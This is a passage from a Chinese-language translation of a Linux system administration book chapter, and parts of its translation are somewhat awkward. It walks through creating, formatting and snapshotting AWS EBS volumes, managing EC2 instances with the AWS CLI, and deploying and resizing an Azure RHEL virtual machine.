实例。 一个 EC2 实例可以在任何时候挂载多个 EBS 卷。 通过使用 Multi-Attach,一个 EBS 卷还可以一次附加到多个 EC2 实例。 有关 EBS 多连接的更多信息,请参见[https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-volumes-multi.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-volumes-multi.html)。 - -当您创建 EBS 卷时,它将在实例的 AZ 内自动复制,以最小化延迟和数据丢失。 有了 EBS,您可以通过 Amazon CloudWatch 免费实时监控驱动器运行状况和统计数据。 EBS 还支持加密数据存储,以满足最新的数据加密监管标准。 - -EC2 存储卷由 Amazon 的**简单存储服务**(**S3**)或**弹性文件系统**(**EFS**)基础设施支持。 有关 EC2 存储类型的更多信息,请访问[https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Storage.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Storage.html)。 - -现在,让我们创建并配置一个 EBS 存储卷,并将其连接到 EC2 实例。 以下是我们将遵循的步骤: - -1. 创建卷。 -2. 将卷挂载到 EC2 实例。 -3. 使用 EC2 实例支持的文件系统格式化卷。 -4. 在 EC2 实例中创建一个卷挂载点。 - -我们将从第一步开始,即创建 EBS 卷。 - -#### 创建 EBS 卷 - -在 EC2 仪表板中,转到左侧导航窗格中**Elastic Block Store**下的**Volumes**,然后单击顶部的**Create Volume**按钮: - -![Figure 13.27 – Create an EBS volume](img/B13196_13_27.jpg) - -图 13.27 -创建 EBS 卷 - -输入您选择的**卷类型**、**大小**和**可用分区**的值。 确保您选择 EC2 实例所在的 AZ。 如果要从以前的 EC2 实例备份(快照)恢复卷,还可以包括**快照 ID**。 我们将在本章后面讨论使用 EBS 快照进行备份/恢复。 - -完成后按**创建音量**按钮。 如果一切顺利,您将获得一个带有新的 EBS 卷 ID 的**卷成功创建**消息。 - -接下来,我们将把卷附加到 EC2 实例。 - -#### 将卷附加到 EC2 实例 - -点击**卷 ID**,或者从左侧导航栏中选择卷,在**Elastic Block Store**和**Volumes**下。 点击**Actions**按钮,选择**Attach Volume**: - -![Figure 13.28 – Attach the EBS volume to an EC2 instance](img/B13196_13_28%28merged%29.jpg) - -图 13.28 -将 EBS 卷挂载到 EC2 实例 - -在下一个屏幕上,在**实例**字段中输入您的 EC2 实例 ID(或用于搜索的名称标签): - -![Figure 13.29 – Enter the EC2 instance ID to attach the volume](img/B13196_13_29.jpg) - -图 13.29 -输入 EC2 实例 ID 来挂载卷 - -完成后按**附加**按钮。 几分钟后,EC2 将初始化您的 EBS 卷,并且**状态**变为**正在使用**: - -![Figure 13.30 – The new EBS volume is ready](img/B13196_13_30.jpg) - -图 13.30 -新的 EBS 卷已经准备好 - -卷设备现在已经准备好了,但是我们需要使用文件系统对它进行格式化。 下面我们将描述这个过程。 - -#### 格式化的体积 - -让我们 SSH 到连接卷的 EC2 实例: - -```sh -ssh -i aws/packt-ec2.pem ec2-user@34.220.165.82 -``` - -接下来,我们使用`lsblk`命令行实用程序检索 EC2 实例中可用的驱动器,以列出块设备: - -```sh -lsblk -``` - -输出如下: - -![Figure 13.31 – The local volumes in our EC2 instance](img/B13196_13_31.jpg) - -图 13.31 - EC2 实例中的本地卷 - -通过观察体积的大小,我们可以立即判断出我们刚刚添加的体积——`xvdf`和`1G`。 另一个卷(`xvda`)是我们的`t2.micro`实例的原始根卷。 - -接下来让我们检查新的 EBS 卷(`xvdf`)上是否有文件系统: - -```sh -sudo file -s /dev/xvdf -``` - -输出是`/dev/xvdf: data`,这意味着该卷还没有文件系统: - -![Figure 13.32 – No filesystem on the new EBS volume](img/B13196_13_32.jpg) - -图 13.32 -新 EBS 卷上没有文件系统 - -让我们在卷上构建一个文件系统,使用`mkfs`(*make filesystem*)命令行实用工具: - -```sh -sudo mkfs -t xfs /dev/xvdf -``` - -我们使用`xfs`文件系统类型调用`-t`(`--type`)参数。 `XFS`是大多数 Linux 发行版支持的高性能日志文件系统,其中一些发行版默认安装了它。 - -上面的命令输出如下: - -![Figure 13.33 – Build a new filesystem on the EBS volume](img/B13196_13_33.jpg) - -图 13.33 -在 EBS 卷上构建一个新的文件系统 - -如果我们使用以下命令检查文件系统,我们应该看到文件系统的详细信息,而不是空数据: - -```sh -sudo file -s /dev/xvdf -``` - -输出如下: - -![Figure 13.34 – The new filesystem on the EBS volume](img/B13196_13_34.jpg) - -图 13.34 - EBS 卷上的新文件系统 - -卷驱动器现在被格式化了。 让我们的本地文件系统可以访问它。 - -#### 创建卷挂载点 - -我们将挂载点命名为`packt`,并在根目录下创建它: - -```sh -sudo mkdir /packt -sudo mount /dev/xvdf /packt -``` - -此时,EBS 卷已经挂载,当我们访问`/packt`目录时,我们正在访问 EBS 卷: - -![Figure 13.35 – Accessing the EBS volume](img/B13196_13_35.jpg) - -图 13.35 -访问 EBS 卷 - -EBS 卷可能包含我们希望保留的关键数据。 接下来让我们看看如何使用 EBS 快照进行灾难恢复。 - -### 使用 EBS 快照 - -当您使用 EBS 时,您可能会遇到需要对数据进行长期备份或准备灾难恢复的情况。 我们还应该注意,对于特定的 EC2 实例类型(例如通用用途实例),根卷(您的系统)是 EBS,如果您的实例遇到意外故障,您可能需要备份。 EC2 实例的完全备份超出了本章的范围。 - -让我们看看如何使用快照备份 EBS 卷。 以下是步骤: - -1. 创建当前卷的快照。 -2. 将快照挂载到新卷上。 -3. 从 EC2 实例中卸载当前卷。 -4. 将新卷附加到 EC2 实例。 - -让我们从第一步开始。 - -#### 创建一个快照 - -在您的 EC2 仪表板中,转到左侧导航菜单中**Elastic Block Store**下的**Volumes**,并选择您想要备份的 EBS 卷。 在我们的示例中,让我们创建根卷的快照,即在**大小**下有 8 GB 的卷。 接下来,点击**Actions**按钮,选择**Create Snapshot**: - -![Figure 13.36 – Creating a snapshot of an EBS volume](img/B13196_13_36%28merged%29.jpg) - -图 13.36 -创建 EBS 卷的快照 - -在接下来的屏幕中,输入快照的描述(例如`packt-backup`),然后单击**创建快照**按钮: - -![Figure 13.37 – Describe your EBS snapshot](img/B13196_13_37.jpg) - -图 13.37 -描述您的 EBS 快照 - -快照创建成功后,EC2 将显示**Create snapshot Request Succeeded**消息,并显示相应的**快照 ID**。 您可以通过在左侧导航菜单中的**Elastic Block Store**下选择**snapshots**来管理 EC2 仪表板中的当前快照。 - -快照需要一个可消耗的卷。 在下一步中,我们将创建一个新卷并将快照附加到它。 - -#### 将快照绑定到卷 - -让我们从定位我们的快照到**快照**管理页面,然后复制相应的**快照 ID**。 我们将在下一步重用(复制/粘贴)快照 ID: - -![Figure 13.38 – Copy your Snapshot ID](img/B13196_13_38.jpg) - -图 13.38 -复制快照 ID - -现在,转到您的**卷**,在左侧导航菜单的**弹性块存储**下,点击**创建卷**。 将之前复制的快照 ID 粘贴到**快照 ID**字段中。 确保您的新 EBS 卷的**可用分区**匹配您将其附加到的 EC2 实例: - -![Figure 13.39 – Create a new EBS volume from an existing Snapshot ID](img/B13196_13_39.jpg) - -图 13.39 -从现有的快照 ID 创建一个新的 EBS 卷 - -您的新 EBS 卷将显示创建它的快照 ID。 其状态为**可用**: - -![Figure 13.40 – The new EBS volume created from a snapshot](img/B13196_13_40.jpg) - -图 13.40 -从快照创建的新 EBS 卷 - -现在有一个带有快照的*独立*卷。 要在不同的 EC2 实例中使用这个卷,或者以后在相同的实例中恢复它,我们需要从实例中卸载当前卷。 在下一节中,我们将向您展示如何操作。 - -#### 分离一个卷 - -在本例中,由于正在卸载根卷,因此需要停止 EC2 实例。 对于非根卷,我们可以在卸载/附加操作期间让 EC2 实例继续运行。 - -因此,让我们先停止 EC2 实例。 在 EC2 仪表板中,我们转到**Instances**,选择我们的 EC2 实例,右键单击并选择**Stop instance**。 接下来,我们将从实例中分离现有的 EBS 卷。 在 EC2 仪表盘中,转到**Volumes**,选择当前正在使用的**volume**,右键单击,选择**Detach volume**。 确认操作并等待卷被卸载。 - -现在是备份恢复过程的最后一步,将包含快照的新卷附加到 EC2 实例。 - -#### 附加一个卷 - -选择刚刚从 EBS 快照中创建的新卷,右键单击并选择**Attach volume**: - -![Figure 13.41 – Attaching the new EBS volume created from a snapshot](img/B13196_13_41.jpg) - -图 13.41 -附加从快照创建的新 EBS 卷 - -在**Attach Volume**屏幕中,您必须在**instance**字段中指定 EC2 实例的 ID,如图*图 13.29*所示。 您可能还需要确保**设备**字段与您之前的根卷(`/dev/xvda`)具有相同的设备 ID,如图*图 13.31*所示: - -![Figure 13.42 – Attaching the new EBS volume as a root volume](img/B13196_13_42.jpg) - -图 13.42 -将新的 EBS 卷附加为根卷 - -重新连接新的卷后,我们可以启动 EC2 实例。 转到**Instances**菜单,右键单击 EC2 实例,然后选择**Start instance**。 - -重要提示 - -当您重新启动 EC2 实例时,EC2 可能会使您的机器在不同的主机上启动,而且很可能您将拥有不同的公共 IP 地址。 - -实例启动并运行后,确保可以连接到 SSH。 在我们的例子中,EC2 实例的新公共 IP 地址已经更改,因此我们必须相应地调整 SSH 命令。 - -您可能还想删除旧的 EBS 卷(如果您不再使用它),这样您就不用为它付费。 进入“**卷**”界面,选中未使用的卷,右键单击,选择“**删除卷**”。 - -我们在这里结束对 AWS EC2 控制台和相关管理操作的探索。 要获得关于 EC2 的全面参考,请参考 Amazon EC2 文档[https://docs.aws.amazon.com/ec2](https://docs.aws.amazon.com/ec2)。 - -到目前为止,提供的 EC2 管理任务只使用 AWS 控制台。 如果您希望自动化 EC2 工作负载,您可能希望采用 AWS CLI,这是一个用于管理 AWS 资源的统一工具。 让我们接下来看看。 - -## 使用 AWS CLI - -安装 AWS CLI,请访问[https://aws.amazon.com/cli/](https://aws.amazon.com/cli/)。 在撰写本文时,AWS CLI 的最新版本是版本 2。 对于本章中的示例,我们使用 Ubuntu 机器按照[https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2-linux.html](https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2-linux.html)中的说明安装 AWS CLI。 - -我们将从下载 AWS CLI v2 软件包(`awscliv2.zip`)开始: - -```sh -curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" -``` - -接下来,我们解压缩并安装 AWS CLI: - -```sh -unzip awscliv2.zip -sudo ./aws/install -``` - -现在,系统上应该安装了`aws`命令行实用程序。 让我们检查一下版本: - -```sh -aws --version -``` - -输出如下: - -![Figure 13.43 – Checking the version of the AWS CLI](img/B13196_13_43.jpg) - -图 13.43 -检查 AWS CLI 版本 - -您可以通过调用 help 来开始探索 AWS CLI: - -```sh -aws help -``` - -要使用`aws`实用程序管理 AWS EC2 资源,首先需要配置本地环境,以建立与 AWS 端点之间所需的信任。 - -### 配置 AWS CLI - -要在本地机器上配置本地 AWS 环境,运行以下命令: - -```sh -aws configure -``` - -前面的命令将提示您一些信息,如下面的输出所示: - -![Figure 13.44 – Configuring the local AWS CLI environment](img/B13196_13_44.jpg) - -图 13.44 -配置本地 AWS CLI 环境 - -AWS CLI 配置要求您的**AWS Access Key ID**和**AWS Secret Access Key**。 您可以通过登录到您的 AWS 帐户来生成或检索这些密钥。 在 AWS 控制台的右上角选择您的帐户名称旁边的下拉菜单,然后选择**我的安全凭证**。 如果你还没有你的访问密钥生成,去**AWS 我凭证**选项卡,在【显示】访问键 CLI, SDK,【病人】API 访问,点击**创建访问密钥**按钮。 你必须将你的 AWS 密钥 ID 和秘密存储在一个安全的地方,以便以后重用: - -![Figure 13.45 – Creating your AWS access key](img/B13196_13_45%28merged%29.jpg) - -图 13.45 -创建 AWS 访问密钥 - -在 AWS CLI 配置向导中,我们还将**默认区域名称**设置为`us-west-2`。 您可能希望进入您所选择的区域,或者将其保留为默认值(`None`)。 如果没有指定默认区域,那么每次调用`aws`命令时都必须输入它。 - -现在,我们已经准备好使用 AWS CLI。 让我们从列出 EC2 实例开始。 - -### 查询 EC2 实例 - -命令提供 EC2 实例的详细信息: - -```sh -aws ec2 describe-instances -``` - -前面的命令提供了相当大的 JSON 输出,其中包含默认区域(`us-west-2`)中所有 EC2 实例的详细信息。 或者,我们可以用`--region`参数指定区域: - -```sh -aws ec2 describe-instances --region us-west-2 -``` - -我们可以更有创造性地使用`--filters`参数,只列出匹配特定键值标记的 EC2 实例,例如`env: packt`,我们之前用`--filters`参数标记实例: - -```sh -aws ec2 describe-instances \ -  --filters "Name=tag-key,Values=env" \ -  --filters "Name=tag-value,Values=packt" -``` - -第一个`--filters`参数指定键(`tag-key=env`),第二个指向值(`tag-value=packt`)。 - -结合`aws`和`jq`(*JSON 查询*)命令,我们只能提取我们想要的 JSON 字段。 例如,下面的命令列出了标记为`env:packt`的 EC2 实例的`InstanceId`、`ImageId`和`BlockDeviceMappings`字段: - -```sh -aws ec2 describe-instances \ -  --filters "Name=tag-key,Values=env" \ -  --filters "Name=tag-value,Values=packt" | \ -  jq '.Reservations[].Instances[] | { InstanceId, ImageId, BlockDeviceMappings }' -``` - -如果您的 Linux 机器上没有`jq`实用程序,请使用以下命令安装它: - -* **sudo apt install -y jq # on Ubuntu** -* **在 RHEL/CentOS 上安装 yum install -y jq #** - -上述`aws`命令的输出信息如下: - -![Figure 13.46 – Querying EC2 instances ](img/B13196_13_46.jpg) - -图 13.46 -查询 EC2 实例 - -我们应该注意输出 JSON 中的`DeviceName`属性,它反映了我们在前一节中管理的块设备(`/dev/sdf`和`/dev/xvda`),当我们将 EBS 卷附加到我们的实例时。 - -我们可以通过任何属性过滤`aws ec2 describe-instances`命令的输出。 例如,下面的命令通过 AMI`image-id`过滤 EC2 实例: - -```sh -aws ec2 describe-instances \ -  --filters "Name=image-id,Values=ami-0e999cbd62129e3b1" -``` - -请注意,过滤器中使用的属性名称是相应的*驼式*JSON 属性:`image-id`与`ImageId`的*连字符*转换。 在编写过滤查询时,您必须记住这条规则。 下面是前一个命令输出的摘录: - -![Figure 13.47 – Filtering EC2 instances by image ID](img/B13196_13_47.jpg) - -图 13.47 -通过映像 ID 过滤 EC2 实例 - -接下来,让我们计划使用当前机器和相同的安全组启动一个相同 AMI 类型的新 EC2 实例。 - -### 创建 EC2 实例 - -获取当前实例(`i-0cce7af9f2f1add27`)的安全组: - -```sh -aws ec2 describe-instances \ -  --filters "Name=instance-id,Values=i-0cce7af9f2f1add27" \ -  --query "Reservations[].Instances[].SecurityGroups[]" -``` - -输出如下: - -![Figure 13.48 – Retrieving the security groups of an EC2 instance](img/B13196_13_48.jpg) - -图 13.48 -检索 EC2 实例的安全组 - -要直接检索的`GroupId`,我们可以运行以下程序: - -```sh -aws ec2 describe-instances \ -  --filters "Name=instance-id,Values=i-0cce7af9f2f1add27" \ -  --query "Reservations[].Instances[].SecurityGroups[].GroupId" -``` - -在这种情况下,输出如下: - -```sh -[ -    "sg-085a5bad81621f926" -] -``` - -我们使用`--query`参数来指定我们正在寻找的字段(`GroupId`)的确切 JSON 路径: - -```sh -Reservations[].Instances[].SecurityGroups[].GroupId -``` - -参数`--query`的使用在某种程度上类似于输出到`jq`命令的管道,但它没有那么多用途。 - -要使用我们选择的 AMI 类型和先前的安全组 ID 启动一个新实例,我们使用`aws ec2 run-instances`命令: - -```sh -aws ec2 run-instances \ -  --image-id ami-0e999cbd62129e3b1\ -  --count 1 \ -  --instance-type t1.micro \ -  --key-name packt-ec2 \ -  --security-group-ids sg-085a5bad81621f926 \ -  --placement AvailabilityZone=us-west-2b -``` - -以下是对参数的简要解释: - -* `image-id`- AMI 图像 ID(`ami-0e999cbd62129e3b1`); 我们使用与之前在 AWS EC2 web 控制台中创建的实例相同的 AMI 类型(*Amazon Linux*)。 -* `count`-要启动的实例数(`1`)。 -* `instance-type`—EC2 实例类型(`t1.micro`)。 -* `key-name`-连接到新实例时使用的 SSH 私钥文件(`packt-ec2`)的名称; 我们正在重用我们在 AWS 控制台中用第一个 EC2 实例创建的 SSH 密钥文件。 -* `security-group-ids`-附加到实例的安全组; 我们正在重用连接到当前实例(`sg-085a5bad81621f926`)的安全组。 -* `--placement`-放置实例的 AZ(`AvailabilityZone=us-west-2b`)。 - -下面是命令输出的一段摘录,表明我们的新实例已经启动,其`InstanceID`的值为`i-0e1692c9dfdf07a8d`: - -![Figure 13.49 – Launching a new EC2 instance](img/B13196_13_49.jpg) - -图 13.49 -启动一个新的 EC2 实例 - -接下来,让我们使用命令行标记我们的新实例。 - -### 标记 EC2 实例 - -下面的命令用`env:packt`键值标记我们的新实例: - -```sh -aws ec2 create-tags \ -  --resources i-0e1692c9dfdf07a8d \ -  --tags Key=env,Value=packt -``` - -现在,我们可以根据前面提到的标签查询实例: - -```sh -aws ec2 describe-instances \ -  --filters "Name=tag-key,Values=env" \ -  --filters "Name=tag-value,Values=packt" \ -  --query "Reservations[].Instances[].InstanceId" -``` - -输出显示了我们的两个 EC2 实例: - -![Figure 13.50 – Querying EC2 instance IDs by tag](img/B13196_13_50.jpg) - -图 13.50 -通过标记查询 EC2 实例 id - -让我们看看如何向我们的实例添加额外的存储。 - -### 向 EC2 实例添加额外的存储 - -首先,我们需要创建一个新的存储设备。 以下命令在 US West(`us-west-2b`)AZ 中创建一个通用 SSD(`gp2`)卷类型,大小为 8gb: - -```sh -aws ec2 create-volume \ -  --volume-type gp2 \ -  --size 8 \ -  --availability-zone us-west-2b -``` - -命令回显信息如下: - -![Figure 13.51 – Creating a new volume](img/B13196_13_51.jpg) - -图 13.51 -创建一个新卷 - -请注意`VolumeId`—我们将在附加到实例时使用它。 - -重要提示 - -请确保将卷创建在与实例相同的 AZ 中。 否则,您将无法将其附加到 EC2 实例。 在我们的例子中,AZ 是`us-west-2b`。 - -下一个命令使用`/dev/sdf`设备标识符将音量连接到我们的实例(`i-0e1692c9dfdf07a8d`): - -```sh -aws ec2 attach-volume \ -  --volume-id vol-0b05bf6d96810cf80 \ -  --instance-id i-0e1692c9dfdf07a8d \ -  --device /dev/sdf -``` - -输出如下: - -![Figure 13.52 – Attaching a volume to an instance](img/B13196_13_52.jpg) - -图 13.52 -将卷附加到实例 - -您需要记住,卷不是用文件系统初始化的,您必须在 EC2 实例中手动初始化,正如本章前面的*EBS 卷*部分所建议的那样。 - -接下来,我们将展示如何终止 EC2 实例。 - -### 终止 EC2 实例 - -要终止 EC2 实例,我们将使用`aws ec2 terminate-instance`命令。 注意,终止一个实例会导致该实例的删除。 不能重新启动已终止的实例。 我们可以使用`aws ec2 stop-instances`命令停止实例,直到稍后使用。 - -下面的命令将终止 ID 为`i-0e1692c9dfdf07a8d`的实例: - -```sh -aws ec2 terminate-instances --instance-ids i-0e1692c9dfdf07a8d -``` - -输出声明我们的实例是`shutting down`(从之前的`running` 状态): - -![Figure 13.53 – Terminating an instance](img/B13196_13_53.jpg) - -图 13.53 -终止一个实例 - -实例最终转换为`terminated`状态,并且在 AWS EC2 控制台中不再可见。 AWS CLI 仍然会将它列在实例中,直到 EC2 最终将它处理掉。 根据 AWS,终止的实例在终止后一小时内仍然可见。 在通过 AWS CLI 执行查询和管理操作时,丢弃处于`terminated`或`shutting-down`状态的实例始终是一个良好的实践。 - -我们在这里结束了 AWS EC2 的旅程,让我们承认,我们只触及了 AWS 中云管理工作负载的表面。 我们学习了一些关于 EC2 资源的基本概念。 接下来,我们研究了典型的云管理任务,例如启动和管理实例、添加和配置额外的存储以及使用 EBS 快照进行灾难恢复。 最后,我们使用标准操作的亲身实践示例来探索 AWS CLI,包括查询和启动 EC2 实例、创建并向实例添加额外存储,以及终止实例。 - -本节讨论的主题提供了对 AWS EC2 云资源的基本了解,并帮助系统管理员在管理相关工作负载时做出更好的决策。 高级用户可能会发现 AWS CLI 示例是在 EC2 中自动化他们的云管理工作流的一个很好的起点。 - -现在让我们把焦点转向下一个公共云服务的竞争者,微软的 Azure。 - -# 与 Microsoft Azure 合作 - -*Microsoft Azure*又称*Azure*,是微软推出的一种公共云服务,用于在云中构建和部署应用服务。 Azure 以相对较低的成本提供了高度可扩展**IaaS**的完整服务,满足了从小型团队到大型商业企业(包括金融、卫生和政府机构)的广泛用户和业务需求。 - -在这一节中,我们将探索一些使用 Azure 的非常基本的部署工作流,例如: - -* 创建 Linux 虚拟机 -* 管理虚拟机大小 -* 向虚拟机添加额外的存储空间 -* 在资源组之间移动虚拟机 -* 重新部署虚拟机 -* 使用 Azure CLI - -在学习本章内容的同时,你需要一个 Azure 账户来获得实践经验。 我们鼓励您创建一个免费的 Azure 帐户,它将为您提供 12 个月的免费流行服务,并在前 30 天提供 200 美元的信贷,以支付您的资源成本。 在 Azure[https://azure.microsoft.com](https://azure.microsoft.com)注册一个免费账户: - -![Figure 13.54 – Creating a free Azure account](img/B13196_13_54.jpg) - -图 13.54 -创建一个免费 Azure 帐户 - -创建了免费 Azure 帐户后,请访问[https://portal.azure.com](https://portal.azure.com)以访问 Azure 门户。 您可能希望启用左侧门户导航菜单的停靠视图,以便快速方便地访问您的资源。 在本章中,我们将为屏幕截图使用停靠视图。 进入右上角的**门户设置**齿轮,选择**Docked**为门户菜单的默认模式: - -![Figure 13.55 – Enable the docked view of the Azure portal menu](img/B13196_13_55.jpg) - -图 13.55 -启用 Azure 门户菜单的停靠视图 - -让我们在 Azure 中创建我们的第一个资源——一个**Red Hat Enterprise Linux**(**RHEL**)虚拟机。 - -## 创建虚拟机 - -在 Azure 门户中的资源向导的指导下,我们将遵循一个逐步的过程。 以下是步骤: - -1. 创建计算资源 -2. 创建资源组。 -3. 配置实例详细信息。 -4. 配置 SSH 访问。 -5. 验证和部署虚拟机。 - -让我们从第一步开始,为虚拟机创建计算资源。 - -### 创建计算资源 - -从点击左侧导航菜单中的**创建资源**选项开始,或者在主窗口的**Azure services**下: - -![Figure 13.56 – Create a new resource in Azure](img/B13196_13_56.jpg) - -图 13.56 -在 Azure 中创建一个新资源 - -下一个屏幕将带我们到 Azure 市场,在那里我们可以搜索我们的资源选择。 您可以搜索相关的关键字,也可以根据要查找的资源类型缩小选择范围。 让我们缩小选择范围,选择**Compute**,然后从最上面的选项中选择**Red Hat Enterprise Linux**。 你可以点击**了解更多**图像的详细描述: - -![Figure 13.57 – Choosing an RHEL virtual machine](img/B13196_13_57.jpg) - -图 13.57 -选择 RHEL 虚拟机 - -当我们选择**Red Hat Enterprise Linux**时,将引导我们完成配置和创建 RHEL 虚拟机的过程,从一个资源组开始。 - -### 配置资源组 - -首先,我们需要指定与虚拟机关联的**订阅**和**资源组**。 Azure 资源组是与特定部署相关的资产的集合,包括存储、网络接口、安全组等等。 假设这是我们的第一个虚拟机,我们将创建一个新的资源组,并将其命名为`packt-demo`。 如果我们有一个之前创建的资源组,我们可以在这里指定它: - -![Figure 13.58 – Creating a new resource group](img/B13196_13_58.jpg) - -图 13.58 -创建一个新的资源组 - -接下来,我们设置与实例相关的各种属性,例如**虚拟机名称**、**区域**和**大小**。 - -### 配置实例细节 - -我们将虚拟机命名为`packt-rhel`,并将其放置在**(US) West US**区域,最接近我们的实例将要运行的地理位置。 我们机器的大小将直接影响到相关成本: - -![Figure 13.59 – The instance details of the virtual machine](img/B13196_13_59.jpg) - -图 13.59 -虚拟机的实例详细信息 - -也可以选择**See all images**或**See all sizes**浏览**Image**和**Size**的不同选项。 Azure 还为各种资源提供了*定价计算器*在线工具,在[https://azure.microsoft.com/en-us/pricing/calculator/](https://azure.microsoft.com/en-us/pricing/calculator/)。 - -在下一步中,我们被要求配置一个 SSH 密钥,以便终端访问我们的实例。 - -### 配置 SSH 访问 - -在这一步中,我们使用公钥身份验证启用 SSH。 将**用户名**设置为`packt`,将**密钥对名称**设置为`packt-rhel`: - -![Figure 13.60 – Enabling SSH authentication to the virtual machine](img/B13196_13_60.jpg) - -图 13.60 -启用 SSH 身份验证到虚拟机 - -最后,我们为实例设置**入站端口规则**以允许 SSH 访问。 例如,如果我们的机器将运行一个 web 服务器应用,我们也可以启用 HTTP 和 HTTPS 访问: - -![Figure 13.61 – Enabling SSH access to the virtual machine](img/B13196_13_61.jpg) - -图 13.61 -启用 SSH 访问虚拟机 - -现在,我们已经准备好创建虚拟机了。 向导可以进一步介绍指定与实例关联的*磁盘*和*网络*配置的其他步骤。 现在,我们将保留它们的默认值,并继续进行最后一步——检查配置和部署虚拟机。 - -### 验证和部署虚拟机 - -我们点击**Review + create**按钮,开始验证过程: - -![Figure 13.62 – Review and create the virtual machine](img/B13196_13_62.jpg) - -图 13.62 -检查并创建虚拟机 - -接下来,部署向导将验证我们的虚拟机配置。 在的几分钟内,如果一切顺利,我们将得到一个带有产品详细信息和实例每小时费率的**验证通过**消息。 通过点击**Create**,我们同意相关的法律条款,我们的虚拟机将很快部署: - -![Figure 13.63 – Creating the virtual machine](img/B13196_13_63.jpg) - -图 13.63 -创建虚拟机 - -在这个过程中,我们会被提示下载 SSH 私钥来访问我们的实例: - -![Figure 13.64 – Downloading the SSH private key for accessing the virtual machine](img/B13196_13_64.jpg) - -图 13.64 -下载用于访问虚拟机的 SSH 私钥 - -如果部署成功完成,我们将看到一个简短的弹出消息,其中包含**部署成功**和一个**Go to resource**按钮,该按钮将带我们进入新的虚拟机: - -![Figure 13.65 – Successfully deploying a virtual machine](img/B13196_13_65.jpg) - -图 13.65 -成功部署虚拟机 - -我们还会得到一份关于部署细节的简短报告。 相关资源也可以在左侧导航菜单的**所有资源**视图中看到: - -![Figure 13.66 – The deployment details](img/B13196_13_66.jpg) - -图 13.66 -部署细节 - -让我们快速看一下用虚拟机部署创建的每个资源: - -* `packt-rhel`—虚拟机主机 -* `packt-rhel330`-虚拟机的网络接口(或网络接口卡) -* `packt-rhel-ip`-虚拟机的 IP 地址 -* `packt-demo-vnet`-资源组关联的虚拟网络(`packt-demo`) -* `packt-rhel-nsg`-**网络安全组**(**NSG**)控制入站和出站访问和访问我们的实例 - -当实例放在现有资源组中时,Azure 将为每个虚拟机创建一组前面提到的资源类型,除了与资源组对应的虚拟网络。 我们不应该忘记,我们还创建了一个新的资源组(`packt-demo`),它没有显示在部署报告中。 - -让我们尝试连接到新创建的实例(`packt-rhel`)。 转到左侧导航窗格中的**虚拟机**,选择实例(`packt-rhel`): - -![Figure 13.67 – The new instance in the Virtual machines view](img/B13196_13_67.jpg) - -图 13.67 - Virtual machines 视图中的新实例 - -在**Overview**选项卡中,我们将看到虚拟机的基本细节,包括**公网 IP 地址**(`104.40.68.161`): - -![Figure 13.68 – The new instance in the Virtual machines view](img/B13196_13_68.jpg) - -图 13.68 - Virtual machines 视图中的新实例 - -现在我们已经部署了虚拟机,我们想要确保可以通过 SSH 访问它。 - -### 使用 SSH 连接到虚拟机 - -在我们连接之前,我们需要设置我们的 SSH 私钥文件的权限,所以它是不公开可见的: - -```sh -chmod 400 azure/packt-rhel.pem -``` - -接下来,我们用下面的命令连接到我们的 Azure RHEL 实例: - -```sh -ssh -i azure/packt-rhel.pem packt@104.40.68.161 -``` - -我们使用在创建实例时指定的 SSH 密钥(`packt-rhel.pem`)和管理员帐户(`packt`)。 或者,您可以单击虚拟机的**Overview**选项卡中的**Connect**按钮,然后单击**SSH**。 这个操作将弹出一个视图,您可以在其中看到前面的命令,并将它们复制/粘贴到终端中。 - -成功连接到的 RHEL 实例应该产生以下输出: - -![Figure 13.69 – Connecting to the RHEL virtual machine](img/B13196_13_69.jpg) - -图 13.69 -连接到 RHEL 虚拟机 - -现在我们在 Azure 中创建了第一个虚拟机,让我们看看在虚拟机的生命周期中执行的一些最常见的管理操作。 - -## 管理虚拟机 - -随着应用的发展,承载应用的虚拟机所需的计算能力和容量也在发展。 作为系统管理员,我们应该准确地知道如何使用云资源。 Azure 提供了必要的工具来监视虚拟机的运行状况和性能。 这些工具可以在虚拟机管理页面的**Monitoring**选项卡中找到。 - -较小的虚拟机具有相对较少的虚拟 cpu 数量和较少的内存,可能会对应用性能产生负面影响。 另一方面,过大的实例会产生不必要的成本。 调整虚拟机的大小是 Azure 中的常见操作。 让我们看看怎么做。 - -### 更改虚拟机的大小 - -Azure 使其相对容易地调整虚拟机的大小。 在门户中,转到**Virtual Machines**,选择您的实例,然后单击**Settings**下的**Size**: - -![Figure 13.70 – Changing the size of a virtual machine](img/B13196_13_70.jpg) - -图 13.70 -改变虚拟机的大小 - -我们的虚拟机器(`packt-rhel`)的大小为**A2_v2**(2 个 vcpu, 4 GB RAM)。 我们可以选择大小。 出于演示目的,让我们将大小调整到较低的**A1_v2**容量(1 vCPU, 2 GB RAM)。 我们选择**A1_v2**选项,并单击**调整**按钮。 降低实例的大小也会节省成本。 Azure 将在调整大小时停止并重新启动我们的虚拟机。 在更改大小之前,最好先停止机器,以避免实例中可能出现的数据不一致。 - -Azure 中虚拟化工作负载的显著特性之一是通过向虚拟机添加额外的数据磁盘来扩展(包括存储容量)的能力。 我们可以添加现有的数据磁盘或创建新的数据磁盘。 - -接下来让我们看看如何向虚拟机添加辅助数据磁盘。 - -### 添加额外的存储 - -Azure 可以在不停止机器的情况下,动态地向我们的实例添加磁盘。 我们可以向虚拟机添加两种类型的磁盘:*数据磁盘*和*托管磁盘*。 - -让我们首先添加一个数据磁盘。 - -#### 添加数据磁盘 - -添加一个新的数据磁盘我们的虚拟机,去**虚拟机在左侧导航菜单,并选择您的实例,单击**磁盘下****设置**,然后点击【显示】创建和附加一个新的磁盘:** - - **![Figure 13.71 – Adding a data disk to a virtual machine](img/B13196_13_71.jpg) - -图 13.71 -向虚拟机添加数据磁盘 - -的磁盘属性,把**逻辑单元号**(**LUN)按原样(自动分配),指定磁盘名称**【显示】(如`packt-disk`),**存储类型**和【病人】大小(如`4`GB)。 完成后点击**保存**: - -![Figure 13.72 – Save the data disk settings](img/B13196_13_72.jpg) - -图 13.72 -保存数据磁盘设置 - -此时,我们已经将新磁盘连接到我们的虚拟机,但是磁盘还没有用文件系统初始化。 我们需要遵循本章前面描述的 AWS 存储卷的类似过程来初始化数据磁盘。 参见*EBS 卷*节。 